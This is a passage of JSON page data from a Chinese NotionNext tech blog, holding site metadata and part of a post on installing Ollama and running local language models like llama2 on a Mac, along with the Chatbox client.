+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"e8fd9138-663d-415d-9684-24343fb3248f":{"value":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","version":842,"type":"page","content":["bc73e0a0-0940-4595-9732-ab9c28cd26a7","ba4103b9-8a3f-4c44-bda8-47b3722d4e15","e8405e22-2319-4ec0-93b3-5a799df21fc4","7dfa62e3-08fb-4a0d-af59-773b0f9f56dc","2aa083b8-0726-4e50-bd4d-f857b5dd0316","45149c38-559d-414b-830f-c06c20da7dec","281bb727-bba8-4f6e-a1ff-b55b6f76b39c","b64c746d-9c8c-458e-9292-2e365dea363b","1b0d3b8d-c1f0-4ca3-907c-1e34341d376b","db1102e6-f111-45af-96a4-db331284b95b","78995c5e-a842-4a30-b1a9-3a93f7b37307","5ea402bc-1e80-4e35-9b33-43c347bda5e7","90137cb7-47e4-42a8-bd95-3be130d612a0","5ed02535-d8e3-46f5-8efb-5e68003b6fec","426b70c6-f0fe-4849-b277-b986cc09a3eb","24e1ffff-e99e-4a8e-b080-f3948a289de8","0b1e06e4-21a7-4f20-b95c-dd39c9232d8e","d52f61a6-9530-45cf-8e55-5822170d7448","5efbbd51-23a0-4cc2-b034-3da0b79430f7","3fee6369-f3e1-4e3e-b833-b1f24a8acf97","d47a618f-cf90-4bc4-9557-6424452366d4","3b8b9cc1-9b38-4a3e-ab5a-56578873df3e","74300add-803e-4d7c-8304-a821a5d5ab2c","8976a6ea-02cb-4bf3-a518-053203e7e9c1","f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422","a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb","eb3dc7f4-4bfd-454f-b935-cde5ab908c41","c713c08c-2d0b-4eb1-8817-71fec58212ef","bbe523e1-53a1-45de-af58-03a940f59e85","4bcc27a3-8629-411b-be7a-75aea797e1ed","9a6f7759-0331-4d60-95e2-dc10c6cb87bd","da1b112d-857e-4b6f-bf49-b7f5208b24e4","87c6e6a2-d2e3-4a18-8637-efe4abd4560f","2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28","9a7a6897-3dfa-4aa8-9636-234b3c0b6548","58fecf87-6dcf-43db-a9c7-538f413796f7","68f363f2-b183-4280-9abb-eab957c3db38","412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91","7e5fed0f-7e6c-4eb0-957b-af7e801e764e","f8a5c31e-aaeb-4215-bece-5545539ec80b","e2239195-971a-4985-8fac-5b9ea90996c0","44061d98-d405-487a-b2a4-078279d3d999","702ec273-b848-45ae-9fab-0e7e445b8470","e8a8f505-3549-4ded-a263-991f5462efb2","42700ae9-2627-40a2-9d1d-f9ed715ab0dc","a28dd66e-5a77-4dfe-815b-474c1e36c0fb","c48d0617-98e9-4c69-8225-a3fc30c3d5b4","97118fdd-3e4d-4a05-8d1f-d4a942831683","29619cb8-1036-4c56-ad1d-44078669c26b","9b400751-4342-4a08-b4a4-df5993d548f1","36ff61ac-481c-4f1f-9f17-6966b6e9789e","aac21867-aa33-4037-93e3-03b5f0ca84f9","2834c258-d3b3-48ce-9e95-8a21b18053f8","6e0e38e9-7774-4f49-9fbb-67e52a21593d","61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2","926cfd3e-8b8e-4b25-b780-3aedf4064879","9d06ce11-437e-4aef-8661-c6551d358cf5","eecdbd14-19a7-4050-ab78-a5c5044e1336","202e55b5-762e-4ef1-90b0-2cc0ae26a99b","995338cf-4874-48b5-a462-ea834bd6b31b","bd7b81b2-82bd-4a81-950c-37ebef55f856","009e62c7-e513-4e3e-a0bb-731c95f0d22a","8b44dcb2-d944-4983-9c68-ff1d8e23825b","f9d3a393-9d76-4add-88b5-3f03e58614af","440e5ba9-2309-4223-9df2-50ca1b67e237","04273a50-0752-4c70-a1c5-d63b004d565a","58f477d0-e338-4fe8-9cf2-e0a3264bf5cf","e1da917b-bb71-4252-9f5f-d1c997b18551","9e9a91b1-4853-4e82-be32-ac8af17739b0","189b1da9-975a-42da-a706-02494cb76d01"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1711360737075,"last_edited_time":1711432140447,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"bc73e0a0-0940-4595-9732-ab9c28cd26a7":{"value":{"id":"bc73e0a0-0940-4595-9732-ab9c28cd26a7","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"ba4103b9-8a3f-4c44-bda8-47b3722d4e15":{"value":{"id":"ba4103b9-8a3f-4c44-bda8-47b3722d4e15","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360833151,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"e8405e22-2319-4ec0-93b3-5a799df21fc4":{"value":{"id":"e8405e22-2319-4ec0-93b3-5a799df21fc4","type":"callout","properties":{"title":[["最近发现了meta发布了llama2模型,搜索一圈发现使用ollama部署特别的方便"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360921658,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"7dfa62e3-08fb-4a0d-af59-773b0f9f56dc":{"value":{"id":"7dfa62e3-08fb-4a0d-af59-773b0f9f56dc","type":"text","format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711431632221,"last_edited_time":1711431632221,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2aa083b8-0726-4e50-bd4d-f857b5dd0316":{"value":{"id":"2aa083b8-0726-4e50-bd4d-f857b5dd0316","type":"header","properties":{"title":[["基础配置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711431632800,"last_edited_time":1711431645914,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"45149c38-559d-414b-830f-c06c20da7dec":{"value":{"id":"45149c38-559d-414b-830f-c06c20da7dec","type":"sub_header","properties":{"title":[["ollama"]]},"created_time":1711431646306,"last_edited_time":1711431652969,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"281bb727-bba8-4f6e-a1ff-b55b6f76b39c":{"value":{"id":"281bb727-bba8-4f6e-a1ff-b55b6f76b39c","type":"bulleted_list","properties":{"title":[["直接去官网下载:"],["https://ollama.com/",[["a","https://ollama.com/"]]]]},"created_time":1711431759881,"last_edited_time":1711431794946,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"b64c746d-9c8c-458e-9292-2e365dea363b":{"value":{"id":"b64c746d-9c8c-458e-9292-2e365dea363b","type":"bulleted_list","properties":{"title":[["命令行运行ollama -h查看命令集"]]},"created_time":1711431795269,"last_edited_time":1711431821182,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"1b0d3b8d-c1f0-4ca3-907c-1e34341d376b":{"value":{"id":"1b0d3b8d-c1f0-4ca3-907c-1e34341d376b","type":"bulleted_list","properties":{"title":[["查看本地模型列表:ollama list"]]},"created_time":1711431821391,"last_edited_time":1711431848208,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"db1102e6-f111-45af-96a4-db331284b95b":{"value":{"id":"db1102e6-f111-45af-96a4-db331284b95b","type":"bulleted_list","properties":{"title":[["下载并且运行模型:ollama run llama2:13b"]]},"created_time":1711431849867,"last_edited_time":1711431874747,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"78995c5e-a842-4a30-b1a9-3a93f7b37307":{"value":{"id":"78995c5e-a842-4a30-b1a9-3a93f7b37307","type":"image","properties":{"size":[["22.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0ed7329d-d7fd-4a94-b61c-b320abce770b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0ed7329d-d7fd-4a94-b61c-b320abce770b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.14055299539170507,"block_preserve_scale":true},"created_time":1711431901576,"last_edited_time":1711431905393,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"file_ids":["0ed7329d-d7fd-4a94-b61c-b320abce770b"]}},"5ea402bc-1e80-4e35-9b33-43c347bda5e7":{"value":{"id":"5ea402bc-1e80-4e35-9b33-43c347bda5e7","type":"sub_header","properties":{"title":[["chatbox"]]},"created_time":1711431654467,"last_edited_time":1711431658645,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"90137cb7-47e4-42a8-bd95-3be130d612a0":{"value":{"id":"90137cb7-47e4-42a8-bd95-3be130d612a0","type":"bulleted_list","properties":{"title":[["gpt的client端,支持多种模型,包括ollama本地运行的模型"]]},"created_time":1711431904161,"last_edited_time":1711431959299,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"5ed02535-d8e3-46f5-8efb-5e68003b6fec":{"value":{"id":"5ed02535-d8e3-46f5-8efb-5e68003b6fec","type":"bulleted_list","properties":{"title":[["地址:"],["https://github.com/Bin-Huang/chatbox",[["a","https://github.com/Bin-Huang/chatbox"]]]]},"created_time":1711431959516,"last_edited_time":1711431968578,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"426b70c6-f0fe-4849-b277-b986cc09a3eb":{"value":{"id":"426b70c6-f0fe-4849-b277-b986cc09a3eb","type":"bulleted_list","properties":{"title":[["内置了许多的promot,比如软件工程师,翻译助手,小红书标题生成器"]]},"created_time":1711432015229,"last_edited_time":1711432060152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"24e1fff